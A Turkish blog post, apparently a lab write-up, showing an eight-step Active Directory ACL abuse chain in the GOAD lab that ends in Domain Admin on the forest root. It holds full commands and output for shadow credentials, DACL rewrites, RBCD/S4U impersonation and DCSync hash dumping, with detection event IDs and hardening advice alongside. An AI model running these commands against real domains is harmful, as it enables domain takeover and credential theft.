---
title: "GOAD Bölüm 3: ACL Zincirinde Orman Köküne Tırmanmak"
description: "Kurtarılan tek bir paroladan sevenkingdoms.local orman kökünde Domain Admin yetkisine uzanan sekiz hatalı ACL: her adımda farklı bir hak ve farklı bir teknik. Zincirin her geçişi, kullanılan araçlar ve iki kritik başarısızlık noktası."
date: 2026-11-04
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/sevenkingdoms-acl-chain/
---

## Alt etki alanından orman köküne

[Bölüm 2](/tr/yazilar/north-domain-compromise/) `north.sevenkingdoms.local` alt etki alanındaki `DC02`'nin tam denetimiyle sona ermişti. Bir alt etki alanını ele geçirmek, orman kökünü otomatik olarak ele geçirmek anlamına gelmez; ikisi bir güven ilişkisini paylaşan farklı etki alanlarıdır. Bu bölümde ana etki alanı `sevenkingdoms.local`'a geçiyor ve `DC01` (`kingslanding`, `192.168.56.10`) üzerinde Domain Admin yetkisiyle bitiriyoruz.

Burada herhangi bir yazılım açığı yok. Sıradan bir kullanıcı ile Domain Controller arasında duran tek şey, bir **Erişim Denetim Listesi (ACL)** hataları zinciridir: bir principal'ın bir sonraki nesne üzerinde tehlikeli bir hakka sahip olması. [Bölüm 1](/tr/yazilar/opening-an-active-directory-assessment/) giriş noktasını zaten bulmuştu: SYSVOL içindeki bir `SecureString` değerinden çözülen `tywin.lannister : powerkingftw135`. BloodHound da ondan `KINGSLANDING`'e giden sekiz adımlı yolu çizmişti:

<figure class="evidence"><img src="/images/posts/goad-evidence/active-directory-relationship-chain.webp" alt="tywin.lannister'dan KINGSLANDING Domain Controller'a sekiz adımlı ACL zincirinin özet illüstrasyonu" loading="lazy" /><figcaption><span>Zincire genel bakış</span> Adım adım yürüyeceğimiz yol: <code>tywin → jaime → joffrey → tyron →</code> Small Council <code>→</code> Dragonstone <code>→</code> Kingsguard <code>→ stannis →</code> KINGSLANDING.</figcaption></figure>

### Orman kökü temel yapılandırması ve savunma duruşu

Resmi GOAD dokümantasyonu `sevenkingdoms.local` etki alanını birinci ormanın kökü olarak yapılandırır:

| Sunucu | IP | Rol | İşletim Sistemi | Windows Defender | Savunma Duruşu |
| :--- | :--- | :--- | :--- | :--- | :--- |
| `DC01` (kingslanding) | `192.168.56.10` | Orman Kökü DC, Enterprise CA (AD CS), KDC | Windows Server 2019 | **Etkin (Enabled)** | Yalnızca bellek içi LDAP ACL güncellemeleri, Kerberos PKINIT ve DCSync işlemleri antivirüs uyarısı üretmez; tüm tespit doğrudan Windows Güvenlik Olay Günlüklerine dayanır. |

Bu zincirdeki en önemli nokta şudur: **her adım farklı bir haktır ve hak, kullanacağın tekniği belirler.** Tek bir aracı sekiz kez çalıştırarak ilerleyemezsin. Bazı kenarlar sana temiz bir parola hash'i verir; bazıları yıkıcı bir parola sıfırlamasını zorunlu kılar; bazıları ise önce hedefin izinlerini yeniden yazmadıkça hiçbir şey vermez. Aşağıdaki tablo, çalışma boyunca açık tuttuğum haritadır:

| # | Kenar | Hedef | Hak sana şunu sağlar… | Kullanılan teknik | Windows Event ID |
| --- | --- | --- | --- | --- | --- |
| 1 | `ForceChangePassword` | jaime.lannister | parolayı sıfırla (başka bir şey değil) | `net rpc password` | `4724` (Parola sıfırlama girişimi) |
| 2 | `GenericWrite` | joffrey.baratheon | `msDS-KeyCredentialLink` yaz | shadow credentials (`certipy`) | `5136` (`msDS-KeyCredentialLink` yazma) |
| 3 | `WriteDacl` | tyron.lannister | kendine daha fazla hak veren bir ACE ekle | `dacledit` → shadow credentials | `4670` / `5136` (DACL yeniden yazma) |
| 4 | `AddSelf` | Small Council | *kendini* gruba ekle | `bloodyAD add groupMember` | `4728` (Güvenlik grubuna üye eklendi) |
| 5 | `AddMember` | Dragonstone | *herkesi* gruba ekle | `bloodyAD add groupMember` | `4728` (Güvenlik grubuna üye eklendi) |
| 6 | `WriteOwner` | Kingsguard | sahip ol → DACL'ini yeniden yaz | `owneredit` → `dacledit` → ekle | `4670` (Nesne sahibi değişti) |
| 7 | `GenericAll` | stannis.baratheon | kullanıcının tam kontrolü | shadow credentials (`certipy`) | `5136` (KeyCredential yazma) |
| 8 | `GenericAll` | KINGSLANDING$ (DC) | DC nesnesinin tam kontrolü | RBCD → `S4U` → DCSync | `4741` + `5136` + `4662` (DCSync) |

Tablodaki her izin, kimlik doğrulamış herhangi bir kullanıcı tarafından LDAP üzerinden okunabilir. BloodHound'un hiçbir şeye dokunmadan yolu çizebilmesinin nedeni budur. Ben de her kenarı istismar etmeden önce `impacket-dacledit -action read` ile kabloda doğruladım. Bunu iki nedenle yaptım: hem hakkın gerçekten var olduğunu kanıtlamak hem de ACE tipinin hangi saldırıyı mümkün kıldığını görmek. Çünkü aynı görünen iki izin, örneğin `WriteDacl` ile `GenericWrite`, tamamen farklı kapılar açar.

Bu tabloyu ezberlemek yerine bir karar ağacı gibi kullanmanı öneririm. Elindeki ACE'e bakıp doğrudan "hangi aracı çalıştırayım?" diye sormak yerine, "bu hak bana hangi ilkel yeteneği veriyor?" diye sor. `ForceChangePassword` bir parola yazma yeteneğidir, `WriteDacl` bir izin yazma yeteneğidir, `WriteOwner` ise dolaylı olarak izin yazma yeteneğine dönüşür. Aracı bu sorunun cevabı seçer; böylece elindeki araç listesi değil, hakların mantığı yönlendirir.

Zinciri çizmeye değer kılan şey, bunun aynı katmanda bir gezinti olmamasıdır. Microsoft'un katmanlama modelinin tamamını keser: altta dört standart kullanıcı, ortada bir dizi köprü grubu ve delege edilmiş bir kullanıcı, en üstte orman kökü Domain Controller. "Sekiz adım" aslında tek bir büyük sınırı geçen sekiz küçük adımdır. Bu yüzden zincir, tek tek izinlerden çok, bir güvenlik sınırının nasıl aşındığını gösterir.

<figure class="diagram">
<svg viewBox="0 0 760 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Sekiz adımlı ACL zinciri Microsoft katman modelini aşar: altta Tier 2'de dört standart kullanıcı, ortada Tier 1'de bir dizi köprü grubu ve yetki devredilmiş kullanıcı, en üstte Tier 0'da orman kökü Domain Controller KINGSLANDING.">
<defs><marker id="tier-m" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">ACL ZİNCİRİ KATMAN SINIRINI AŞAR</text>
<rect x="0" y="40" width="760" height="56" rx="8" class="dg-box-danger" />
<text x="16" y="62" class="dg-crit">TIER 0 · ORMAN KÖKÜ</text>
<text x="16" y="82" class="dg-label">KINGSLANDING$ (DC01) — Domain Admin, DCSync</text>
<line x1="380" y1="112" x2="380" y2="96" class="dg-line-crit" marker-end="url(#tier-m)" />
<rect x="0" y="112" width="760" height="56" rx="8" class="dg-box-accent" />
<text x="16" y="134" class="dg-accent">TIER 1 · KÖPRÜ GRUPLARI</text>
<text x="16" y="154" class="dg-label">Small Council → Dragonstone → Kingsguard → stannis.baratheon</text>
<line x1="380" y1="184" x2="380" y2="168" class="dg-line-crit" marker-end="url(#tier-m)" />
<rect x="0" y="184" width="760" height="56" rx="8" class="dg-box" />
<text x="16" y="206" class="dg-muted">TIER 2 · STANDART KULLANICILAR</text>
<text x="16" y="226" class="dg-label">tywin → jaime → joffrey → tyron</text>
</svg>
<figcaption>Sekiz adım bir katman tırmanışı olarak: dört standart kullanıcı (<code>Tier 2</code>) bir dizi grup üyeliğine (<code>Tier 1</code>) dönüşür ve orman kökü DC'de (<code>Tier 0</code>) Domain Admin olarak biter. Zincir bir sınır geçişidir; aynı katmanda bir yürüyüş değildir.</figcaption>
</figure>

> [!NOTE]
> **Neden Domain Admin'leri doğrudan hedeflemek yerine sekiz adımlı ACL zincirini yürüyoruz?**
> Resmi GOAD tasarımında ayrıcalıklı hesaplar üzerinde belirli sıkılaştırma kısıtları devrededir:
> - `robert.baratheon` (Domain Admin), **Protected Users** grubuna dahildir; bu nedenle NTLM hash'i bellekte önbelleğe alınmaz, Kerberos delegasyonu engellenir ve yalnızca AES şifreleme zorunlu tutulur.
> - `renly.baratheon`, `Hesap hassastır ve devredilemez (cannot be delegated)` bayrağıyla korunur.
> - Doğrudan Tier 0 hesaplarını ele geçirme yolları bu politikalarla kapatıldığı için `Small Council`, `Dragonstone` ve `Kingsguard` üzerinden uzanan ACL çizgesi, orman kökünü ele geçirmek için tasarlanmış tek mimari yoldur.

### BloodHound Cypher: En kısa yolu ve replikasyon haklarını çizmek

LDAP nesnelerini tek tek sorgulamak yerine BloodHound çizge sorguları hedefe giden en kısa saldırı yolunu ve etki alanındaki replikasyon haklarını (`DCSync`) tek hamlede döker:

```cypher
// 1. tywin.lannister'dan KINGSLANDING Domain Controller'a en kisa yol
MATCH p=shortestPath((u:User {name: 'TYWIN.LANNISTER@SEVENKINGDOMS.LOCAL'})-[*1..]->(c:Computer {name: 'DC01.SEVENKINGDOMS.LOCAL'}))
RETURN p

// 2. Etki alaninda GetChanges / GetChangesAll hakki tasiyan principal'lar
MATCH (n)-[r:GetChanges|GetChangesAll]->(d:Domain)
RETURN n.name AS Principal, type(r) AS ReplicationRight, d.name AS Domain
```

## Adımlar 1–3: parola sıfırlamadan iki temiz hash'e

`tywin.lannister`, `jaime.lannister` üzerinde tam olarak tek bir hakka sahiptir ve ACE'i okumak bu hakkın sınırını açıkça gösterir:

```bash
$ impacket-dacledit -action read -principal tywin.lannister -target jaime.lannister \
    'sevenkingdoms.local/tywin.lannister:powerkingftw135' -dc-ip 192.168.56.10
[*]   ACE[0] info
[*]     ACE Type       : ACCESS_ALLOWED_OBJECT_ACE
[*]     Access mask    : ControlAccess (0x100)
[*]     Object type    : User-Force-Change-Password (00299570-246d-11d0-a768-00aa006e0529)
[*]     Trustee (SID)  : tywin.lannister
```

`ForceChangePassword` tek bir extended right'tır. Sana `msDS-KeyCredentialLink` yazma, SPN belirleme ya da herhangi bir şey okuma izni **vermez**. Tek hamle, jaime'nin parolasını eskisini bilmeden üzerine yazmaktır:

```bash
$ net rpc password jaime.lannister 'Jankesec2026!' \
    -U 'sevenkingdoms.local/tywin.lannister%powerkingftw135' -S 192.168.56.10
$ nxc smb 192.168.56.10 -u jaime.lannister -p 'Jankesec2026!' -d sevenkingdoms.local
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\jaime.lannister:Jankesec2026!
```

Bu, zincirin gürültülü ve yıkıcı adımıdır ve *neden* böyle olduğu üzerinde durmaya değer. Gerçek bir denetimde canlı bir kullanıcının parolasını sıfırlamak o kişiyi sistemden kilitler ve dakikalar içinde yardım masasında bir bilet açılmasına yol açar. Bu, tüm zincirdeki en gürültülü tek hareket olabilir. Sessiz bir alternatif yoktur, çünkü kenar tipi başka bir şey sunmaz. `ForceChangePassword` görüp yanında başka bir hak yoksa ya bu gürültüyü kabul edersin ya da başka bir yol ararsın. Rapor yazarken de bu adımı en yüksek sesle işaretlemenin nedeni budur: geri alınamaz bir değişiklik bırakır. Bu hak aynı zamanda hedefin eski parolasını bilmeyi gerektirmez; bu yüzden yardım masası ekiplerine verilen geniş sıfırlama yetkileri, farkında olunmadan bir saldırı yolunun ilk kenarı hâline gelebilir.

ActiveDirectory PowerShell modülünün yüklü olduğu kimliği doğrulanmış bir Windows oturumunda bu sıfırlama işlemi şu komuta karşılık gelir:

```powershell
# Eski parolayi bilmeden dogrudan PowerShell ile parola sifirlama
Set-ADAccountPassword jaime.lannister -Reset -NewPassword (ConvertTo-SecureString 'Jankesec2026!' -AsPlainText -Force)
```

`jaime.lannister` ise `joffrey.baratheon` üzerinde `GenericWrite` tutar; bu tamamen farklı bir hikâyedir:

```bash
$ impacket-dacledit -action read -principal jaime.lannister -target joffrey.baratheon \
    'sevenkingdoms.local/jaime.lannister:Jankesec2026!' -dc-ip 192.168.56.10
[*]     Access mask    : ReadControl, WriteProperties, Self (0x20028)
[*]     Trustee (SID)  : jaime.lannister
```

`GenericWrite`, `msDS-KeyCredentialLink` yazma hakkını içerir ve **shadow credentials** saldırısının temeli tam olarak budur: hedefe sertifika destekli bir anahtar ekle, onun kimliğiyle PKINIT üzerinden kimlik doğrula ve NT hash'ini kurtar; üstelik parolasını değiştirmeden. `sevenkingdoms.local`, `kingslanding` üzerinde AD CS çalıştırdığı için PKINIT kullanılabilir ve `certipy shadow auto` tüm akışı yürütüp hesabı bulduğu gibi geri bırakır:

```bash
$ certipy-ad shadow auto -u jaime.lannister@sevenkingdoms.local -p 'Jankesec2026!' \
    -account joffrey.baratheon -dc-ip 192.168.56.10
[*] Adding Key Credential with device ID '4061...' to 'joffrey.baratheon'
[*] Authenticating as 'joffrey.baratheon' with the certificate
[*] Got TGT
[*] Restoring the old Key Credentials for 'joffrey.baratheon'
[*] NT hash for 'joffrey.baratheon': 3b60abbc25770511334b3829866b08f1
```

Bu etki alanında AD CS olmasaydı shadow credentials bir seçenek olmazdı ve `GenericWrite` için yedek yol **hedefli Kerberoasting** olurdu: joffrey'e bir SPN yaz, bilet iste ve kır. Ancak bu yalnızca joffrey'nin parolası zayıfsa çalışır. Shadow credentials yolu parolanın gücünü hiç umursamaz; bu yüzden hak izin verdiğinde ilk başvurulacak yöntemdir. Aradaki fark, saldırganın hedefin parola politikasına bağımlı olup olmamasıdır. Bu yüzden bir ortamda işe yarayan teknik, başka bir ortamda hiçbir sonuç vermeyebilir; keşif çıktısını bu değişkenle birlikte okumak gerekir.

Bir Windows sunucusundan aynı KeyCredentialLink enjeksiyonu C# araçlarıyla gerçekleştirilebilir:

```powershell
# Windows ve C# esdegeri (Whiskey / PKINITtools)
Whiskey.exe --target joffrey.baratheon --domain sevenkingdoms.local --action add
```

Üçüncü adım, sana *tek başına hiçbir şey* vermeyen bir hakkın nasıl göründüğünü gösterir. `joffrey.baratheon`, `tyron.lannister` üzerinde `WriteDacl`'a sahiptir:

```bash
$ impacket-dacledit -action read -principal joffrey.baratheon -target tyron.lannister \
    -hashes :3b60abbc25770511334b3829866b08f1 'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*]     Access mask    : WriteDACL (0x40000)
[*]     Trustee (SID)  : joffrey.baratheon
```

`WriteDacl`, hedefin izinlerini yeniden yazma yetkisidir. Bu yüzden hamle iki adımlıdır: önce kendine tam kontrol ver, sonra *o* hakkı istismar et. `dacledit` orijinal DACL'i yedekler, böylece değişiklik geri alınabilir. Bu, bir denetim sırasında geri dönüş planı olmadan ilerlememen gerektiğinin de iyi bir örneğidir:

```bash
$ impacket-dacledit -action write -rights FullControl -principal joffrey.baratheon \
    -target tyron.lannister -hashes :3b60abbc25770511334b3829866b08f1 \
    'sevenkingdoms.local/joffrey.baratheon' -dc-ip 192.168.56.10
[*] DACL backed up to dacledit-20261103-201748.bak
[*] DACL modified successfully!

$ certipy-ad shadow auto -u joffrey.baratheon@sevenkingdoms.local \
    -hashes :3b60abbc25770511334b3829866b08f1 -account tyron.lannister -dc-ip 192.168.56.10
[*] NT hash for 'tyron.lannister': b3b3717f7d51b37fb325f7e7d048e998
```

PowerView ile Windows üzerinde DACL yeniden yazma adımı doğrudan şu komutla işletilir:

```powershell
# PowerView: tyron.lannister uzerinde FullControl hakki tanima
Add-DomainObjectAcl -TargetIdentity tyron.lannister -PrincipalIdentity joffrey.baratheon -Rights All
```

**Tespit:** Shadow credentials yazmaları `msDS-KeyCredentialLink` üzerinde Event ID `5136`; DACL yeniden yazmaları `nTSecurityDescriptor` üzerinde `5136`; parola sıfırlaması ise `4724`/`4738` olarak düşer. En yüksek değerli sinyal, cihaz anahtarı tutması gerekmeyen bir hesapta `msDS-KeyCredentialLink` özniteliğine yapılan herhangi bir yazmadır. **Kontrol:** Yönetici olmayanların diğer kullanıcılar üzerinde `GenericWrite`/`WriteDacl`/`GenericAll` tutmaması için nesne ACL'lerini buda; ayrıcalıklı hesapları **Protected Users** grubuna al ve AD CS'yi sıkılaştır. Yaslanacak bir CA yoksa shadow credentials da ölür.

## Adımlar 4–6: grup yığınını tırmanmak

Sonraki üç kenar grup izinleridir ve *üyelik* üzerinden birbirine bağlanır: bir gruba girdiğinde onun giden haklarını miras alırsın. `tyron.lannister`, **Small Council** üzerinde `AddSelf` hakkına sahiptir; yani yalnızca kendi kendini üye yapabilir, başka hiçbir şey yapamaz:

```bash
$ impacket-dacledit -action read -principal tyron.lannister -target 'Small Council' ...
[*]     Access mask    : Self (0x8)
[*]     Object type    : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)

$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u tyron.lannister \
    -p :b3b3717f7d51b37fb325f7e7d048e998 add groupMember 'Small Council' tyron.lannister
[+] tyron.lannister added to Small Council
```

`AddSelf` yalnızca *kendini* eklemene izin verir, başka kimseyi değil. Bu ayrım önemlidir: elinde `AddSelf` varsa grubu kendi hesabınla büyütebilirsin, ama başka bir kullanıcıyı içeri sokamazsın. **Small Council** ise **Dragonstone** üzerinde `AddMember` tutar. Bu, `member` özniteliği üzerinde bir `WriteProperty` hakkıdır ve daha güçlü "herkesi ekle" sürümüdür. Şimdi tyron olarak (bir Small Council üyesi) onu Dragonstone'a da ekleyebiliriz:

```bash
$ impacket-dacledit -action read -principal 'Small Council' -target 'Dragonstone' ...
[*]     Access mask    : WriteProperty (0x20)
[*]     Object type    : Self-Membership (bf9679c0-0de6-11d0-a285-00aa003049e2)

$ bloodyAD ... add groupMember 'Dragonstone' tyron.lannister
[+] tyron.lannister added to Dragonstone
```

Burada insanları yanıltan bir incelik var: Windows'ta yeni bir grup üyeliği yalnızca taze bir oturum açma sonrasında etkin olur, çünkü grup SID'leri Kerberos biletine gömülüdür. Ancak bu araçlar her seferinde taze bir NTLM bind ile kimlik doğrular ve DC grup üyeliğini bind anında değerlendirir. Yani tyron'un yepyeni Small Council üyeliği bir sonraki komutta zaten canlıdır. Yeniden oturum açmak yok, bilet cambazlığı yok. Bu ayrımı bilmek, gerçek bir ortamda "grup üyeliği neden hemen işe yaramadı?" sorusunun cevabını da verir. Kerberos biletiyle çalışan bir istemci, yeni üyeliği ancak yeni bir TGT aldığında görür; NTLM bind'i ise üyeliği her seferinde dizinden yeniden okur. Zincirdeki araçların çoğu ikinci yolu kullandığı için adımlar arasında bekleme gerekmez.

**Dragonstone**, **Kingsguard** üzerinde `WriteOwner`'a sahiptir; bu, zincirin en dolambaçlı kenarıdır. Bir nesnenin sahibi olmak tek başına üye eklemene izin vermez, ama herhangi bir AD nesnesinin sahibi *örtük olarak* `WriteDacl` tutar. Yani sıra şudur: sahipliği al, o örtük `WriteDacl` ile kendine `WriteMembers` ver, sonra kendini gruba ekle. Üç ayrı araç gibi görünen bu akış, aslında tek bir mantıksal hakkın parçalara ayrılmış hâlidir:

```bash
$ impacket-dacledit -action read -principal 'Dragonstone' -target 'Kingsguard' ...
[*]     Access mask    : WriteOwner (0x80000)

$ impacket-owneredit -action write -new-owner tyron.lannister -target 'Kingsguard' ...
[*] OwnerSid modified successfully!
$ impacket-dacledit -action write -rights WriteMembers -principal tyron.lannister -target 'Kingsguard' ...
[*] DACL modified successfully!
$ bloodyAD ... add groupMember 'Kingsguard' tyron.lannister
[+] tyron.lannister added to Kingsguard
```

Bu grup yükseltme zincirinin tamamını PowerShell ve PowerView ile yerel olarak işletmek:

```powershell
# tyron.lannister'i Small Council ve Dragonstone gruplarina ekleme
Add-ADGroupMember -Identity "Small Council" -Members tyron.lannister
Add-ADGroupMember -Identity "Dragonstone" -Members tyron.lannister

# Kingsguard sahipligini alma, WriteMembers izni yazma ve gruba katilma
Set-DomainObjectOwner -Identity "Kingsguard" -OwnerIdentity tyron.lannister
Add-DomainObjectAcl -TargetIdentity "Kingsguard" -PrincipalIdentity tyron.lannister -Rights WriteMembers
Add-ADGroupMember -Identity "Kingsguard" -Members tyron.lannister
```

**Tespit:** Grup üyeliği değişiklikleri Event ID `4728`/`4732`/`4756`; sahiplik değişiklikleri ve ardından gelen DACL düzenlemesi ise `5136` olarak görünür. Ayrıcalıklı bir grupta bir sahip değişikliğini hemen aynı nesnedeki bir izin değişikliğinin izlemesi, bu istismarın neredeyse kusursuz bir imzasıdır. **Kontrol:** Gruplar üzerindeki ACL'leri grup üyeliğinin kendisi kadar ciddiye al; ayrıcalıklı bir grup üzerindeki `WriteOwner`, `WriteDacl` ve `AddMember` haklarının her biri üyeliğe eşdeğerdir. Bir sapmış kenarın Tier 0'a kaskad yapmaması için iç içe grupları düzleştir.

## Adımlar 7–8: Domain Controller'ı almak

**Kingsguard** üyeliği, `stannis.baratheon` üzerinde `GenericAll` verir; yani bir kullanıcının tam kontrolü. Bir kez daha shadow credentials:

```bash
$ impacket-dacledit -action read -principal 'Kingsguard' -target stannis.baratheon ...
[*]     Access mask    : FullControl (0xf01ff)

$ certipy-ad shadow auto -u tyron.lannister@sevenkingdoms.local \
    -hashes :b3b3717f7d51b37fb325f7e7d048e998 -account stannis.baratheon -dc-ip 192.168.56.10
[*] NT hash for 'stannis.baratheon': d75b9fdf23c0d9a6549cff9ed6e489cd
```

Ve zincirin meyvesini verdiği yer tam olarak `stannis.baratheon`'dur: **Domain Controller'ın kendi bilgisayar nesnesi** `KINGSLANDING$` üzerinde `GenericAll` hakkına sahiptir. Bir DC'nin bilgisayar hesabının tam kontrolü, DC'nin tam kontrolüdür. Klasik teknik **Resource-Based Constrained Delegation (RBCD)**'dir ve *delege edeceğin* bir bilgisayar hesabını kontrol etmeni gerektirir. Bu yüzden ilk soru, etki alanının böyle bir hesap oluşturmama izin verip vermeyeceğidir:

```bash
$ bloodyAD ... get object 'DC=sevenkingdoms,DC=local' --attr ms-DS-MachineAccountQuota
ms-DS-MachineAccountQuota: 10
```

`MachineAccountQuota = 10` — varsayılan değer ve RBCD için yeterli. (`0` olsaydı bu adım, doğrudan `KINGSLANDING$` üzerine bir shadow credential yazıp makine hesabı olarak kimlik doğrulamaya düşerdi; o yol kotaya bağışıklıdır.) Kotamız varken bir bilgisayar hesabı oluşturur, DC'nin `msDS-AllowedToActOnBehalfOfOtherIdentity` özniteliğini ona yöneltir ve `S4U2Self`/`S4U2Proxy` ile DC'ye *Administrator olarak* bir bilet üretiriz. Mekanik kısaca şöyledir: `S4U2Self` ile `jankesec$`, kendi adına bir kullanıcı için servis bileti alır; `S4U2Proxy` ise bu bileti, `KINGSLANDING$` üzerinde RBCD ile güvenilen bir servise devretmek için kullanır. DC, `jankesec$`'e bu yetkiyi verdiği için sonuçta `cifs/kingslanding` için `Administrator` kimliğini taşıyan bir bilet ortaya çıkar. Yani zincirin son halkası, tek bir öznitelik yazımıyla DC'nin kendi delegasyon mantığını kendi aleyhine çevirmektir.

<figure class="diagram">
<svg viewBox="0 0 760 250" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="RBCD finali. stannis.baratheon'un KINGSLANDING bilgisayar nesnesi üzerindeki GenericAll hakkından başlayarak birinci adım jankesec$ bilgisayar hesabını oluşturur. İkinci adım, jankesec'e güvenmesi için KINGSLANDING üzerinde msDS-AllowedToActOnBehalfOfOtherIdentity yazar. Üçüncü adım, Administrator kimliğine bürünerek KINGSLANDING'e CIFS bileti almak için jankesec olarak S4U2Self ve S4U2Proxy çalıştırır. Dördüncü adım, bu Administrator erişimini Domain Controller'dan krbtgt ve Administrator hash'lerini DCSync etmek için kullanır.">
<defs><marker id="rb-c" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="14" class="dg-muted">DC NESNESİ ÜZERİNDE GENERICALL → RBCD → DOMAIN ADMIN</text>
<rect x="0" y="30" width="168" height="56" rx="8" class="dg-box" />
<text x="14" y="54" class="dg-label">stannis.baratheon</text>
<text x="14" y="73" class="dg-mono dg-compact">GenericAll → DC$</text>
<line x1="168" y1="58" x2="212" y2="58" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="216" y="30" width="190" height="56" rx="8" class="dg-box" />
<text x="230" y="52" class="dg-label">1 · bilgisayar ekle</text>
<text x="230" y="71" class="dg-mono dg-compact">jankesec$ (MAQ=10)</text>
<line x1="406" y1="58" x2="450" y2="58" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="454" y="30" width="306" height="56" rx="8" class="dg-box" />
<text x="468" y="52" class="dg-label">2 · KINGSLANDING$ üzerine RBCD yaz</text>
<text x="468" y="71" class="dg-mono dg-compact">msDS-AllowedToActOnBehalfOfOtherIdentity</text>
<line x1="607" y1="86" x2="607" y2="120" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="454" y="124" width="306" height="54" rx="8" class="dg-box" />
<text x="468" y="146" class="dg-label">3 · jankesec$ olarak S4U2Self + S4U2Proxy</text>
<text x="468" y="165" class="dg-mono dg-compact">cifs/kingslanding → Administrator kimliğine bürün</text>
<line x1="454" y1="151" x2="410" y2="151" class="dg-line-crit" marker-end="url(#rb-c)" />
<rect x="150" y="124" width="256" height="54" rx="8" class="dg-box-danger" />
<text x="164" y="146" class="dg-label">4 · KINGSLANDING'den DCSync (DC01)</text>
<text x="164" y="165" class="dg-danger">krbtgt + Administrator hash'leri</text>
<text x="0" y="214" class="dg-muted">Administrator bileti → replikasyon hakları → sevenkingdoms.local'deki her sır</text>
</svg>
<figcaption>Zirve: Domain Controller'ın bilgisayar nesnesi üzerindeki <code>GenericAll</code>, RBCD ve sahte bir <code>Administrator</code> servis bileti üzerinden Domain Admin'e dönüşür.</figcaption>
</figure>

```bash
$ impacket-addcomputer -computer-name 'jankesec$' -computer-pass 'Jankesec2026Comp!' \
    'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Successfully added machine account jankesec$

$ impacket-rbcd -delegate-from 'jankesec$' -delegate-to 'KINGSLANDING$' -action write \
    'sevenkingdoms.local/stannis.baratheon' -hashes :d75b9fdf23c0d9a6549cff9ed6e489cd -dc-ip 192.168.56.10
[*] Delegation rights modified successfully!

$ impacket-getST -spn 'cifs/kingslanding.sevenkingdoms.local' -impersonate Administrator \
    'sevenkingdoms.local/jankesec$:Jankesec2026Comp!' -dc-ip 192.168.56.10
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
```

Bu biletle `secretsdump` orman kökünü DCSync edebilir; ancak ilk deneme başarısız oldu ve bu başarısızlık öğretici:

```bash
$ export KRB5CCNAME=Administrator@cifs_kingslanding.sevenkingdoms.local@SEVENKINGDOMS.LOCAL.ccache
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user krbtgt
[-] ERROR_DS_NAME_ERROR_NOT_UNIQUE: Name translation: Input name mapped to more than one output name.
```

`krbtgt` ormanın *her* etki alanında bulunur, bu yüzden nitelenmemiş bir isim belirsizdir. İsmi NetBIOS etki alanıyla nitelemek sorunu hemen çözer, çünkü DC artık hangi dizin bölümünde arama yapacağını bilir:

```bash
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/krbtgt'
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:72765225164f1b6542a3b0464aad363a:::
$ impacket-secretsdump -k -no-pass kingslanding.sevenkingdoms.local -just-dc-user 'SEVENKINGDOMS/Administrator'
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e:::

$ nxc smb 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e -d sevenkingdoms.local
SMB  192.168.56.10  445  KINGSLANDING  [+] sevenkingdoms.local\Administrator:c66d72... (Pwn3d!)
```

### Windows ve PowerShell araç eşdeğerleri (PowerView ve Mimikatz)

Windows uç noktalarında makine hesabı oluşturma, RBCD güvenlik tanımlayıcısı yazma ve DCSync replikasyonu yerel araçlarla doğrudan yürütülebilir:

```powershell
# 1. Bilgisayar hesabi olusturma ve PowerView ile msDS-AllowedToActOnBehalfOfOtherIdentity yazma
New-MachineAccount -MachineAccount jankesec -Password (ConvertTo-SecureString 'Jankesec2026Comp!' -AsPlainText -Force)
$RawSecurityDescriptor = (Get-Acl "AD:\CN=jankesec,CN=Computers,DC=sevenkingdoms,DC=local").sddl
Set-DomainObject -Identity "KINGSLANDING$" -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $RawSecurityDescriptor}

# 2. Mimikatz ile dogrudan Domain Controller uzerinde DCSync calistirma
mimikatz.exe "lsadump::dcsync /domain:sevenkingdoms.local /user:SEVENKINGDOMS\krbtgt" "exit"
```

Elimizdeki `krbtgt` hash'i, tüm `sevenkingdoms.local` etki alanı için bir Golden Ticket'ın anahtarıdır ve `Pwn3d!` çıktısı orman kökünde Domain Admin'i doğrular. Sekiz okunabilir izin, bir kurtarılan parola, sıfır yazılım açığı. Zincirin tamamı, meşru Windows özelliklerinin yanlış verilmiş izinlerle birleşmesinden oluşuyor. Buradan çıkarılacak ders, tek bir "kritik zafiyet" aramak yerine izin grafiğini bütün olarak okumaktır: her kenar tek başına önemsiz görünebilir, ama birleştiklerinde orman köküne ulaşan bir yol oluştururlar. Savunma tarafı için de aynı mantık geçerlidir; tek tek olaylara değil, zincirin tamamına bakmak gerekir. `MachineAccountQuota` gibi "zararsız" görünen varsayılanlar, bu zincirde son halkayı mümkün kılan şeydir.

